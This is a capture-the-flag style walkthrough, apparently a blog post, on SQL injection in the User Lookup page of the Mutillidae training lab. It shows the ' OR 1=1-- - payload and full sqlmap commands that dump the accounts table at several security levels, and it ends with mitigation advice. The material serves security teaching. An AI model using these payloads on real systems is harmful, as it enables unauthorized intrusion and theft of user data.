Mutillidae - SQLi: Extract Data (User Lookup)

Mutillidae – SQLi: Extract Data (User Lookup)

In this walk through, we will be going through the SQLi: Extract Data (User Lookup) vulnerability section from Mutillidae Labs. We will be exploring and exploiting SQL Injection in User Lookup app and learn how application are affected because of it. So, let’s get started with the Hacking without any delay.

SQLi: Extract Data (User Lookup)

Security Level: 0 (Hosed)

  • Setting the security level to 0 or Hosed.

Security level 0

  • The application as a User Lookup functionality which demands a pair of credentials to view the user data.

User Lookup (SQL)

  • I inserted a apostrophe in the Name field which caused an error in the application revealing the SQL statement which is running in background on execution.

'

SQL Error

  • I used the below payload to dump all the user information in the DB.

' OR 1=1-- -

Payload

All records dumped

Security Level: 1 (Client-Side Security)

  • Setting the security level to 1 or Client-side Security.

Security level 1

  • I tried to check if the application is vulnerable using the apostrophe again however it got blocked as the application is sanitizing the input now.

Generating SQL error

Payload backlist

  • As per the source code it is validating the input now and is checking with known characters for SQL injection.

Page source code

  • I was unable to bypass it manually. So, tried sqlmap on this and and dumped the accounts details.

Burpsuite intercept

sqlmap -u http://localhost/mutillidae/index.php?page=user-info.php --cookie="showhints=1; PHPSESSID=0j2hnbgbndtsvhepq8il7e4na7" --data="username=asd&password=asd&user-info-php-submit-button=View+Account+Details" -p username --current-db

Sqlmap output

sqlmap -u http://localhost/mutillidae/index.php?page=user-info.php --cookie="showhints=1; PHPSESSID=0j2hnbgbndtsvhepq8il7e4na7" --data="username=asd&password=asd&user-info-php-submit-button=View+Account+Details" -p username -D nowasp --tables

Dumping tables

sqlmap -u http://localhost/mutillidae/index.php?page=user-info.php --cookie="showhints=1; PHPSESSID=0j2hnbgbndtsvhepq8il7e4na7" --data="username=asd&password=asd&user-info-php-submit-button=View+Account+Details" -p username -D nowasp -T accounts --dump 

Duping all data

Security Level: 5 (Server-side Security)

  • Setting the security level to 5 or Server-side Security.

Security level 5

  • The application is using POST request in this level.

Burpsuite intercept

  • I used the sqlmap again and dump the accounts information.

sqlmap -u http://localhost/mutillidae/index.php?page=user-info.php --cookie="showhints=0; PHPSESSID=0j2hnbgbndtsvhepq8il7e4na7" --data="username=asd&password=asd&user-info-php-submit-button=View+Account+Details" --current-db

Sqlmap result

sqlmap -u http://localhost/mutillidae/index.php?page=user-info.php --cookie="showhints=0; PHPSESSID=0j2hnbgbndtsvhepq8il7e4na7" --data="username=asd&password=asd&user-info-php-submit-button=View+Account+Details" -p username -D nowasp -T accounts --dump

Dumping all records

Also Read: bWAPP – XML/Xpath Injection (Login Form)

Conclusion:

Conclusion

So, we finally completed all the security levels for the Mutillidae SQLi: Extract Data (User Lookup) Vulnerability. We looked into the various ways how application has been set up in various levels and how we can bypass the security controls implemented. Next, we can mitigate the potential SQL Injection attacks by performing input sanitization and using prepared statements or parametrized queries for every SQL query made by the application to the database. On that note, i will take your leave and will meet you in next one with another Mutillidae vulnerability writeup, till then “Keep Hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top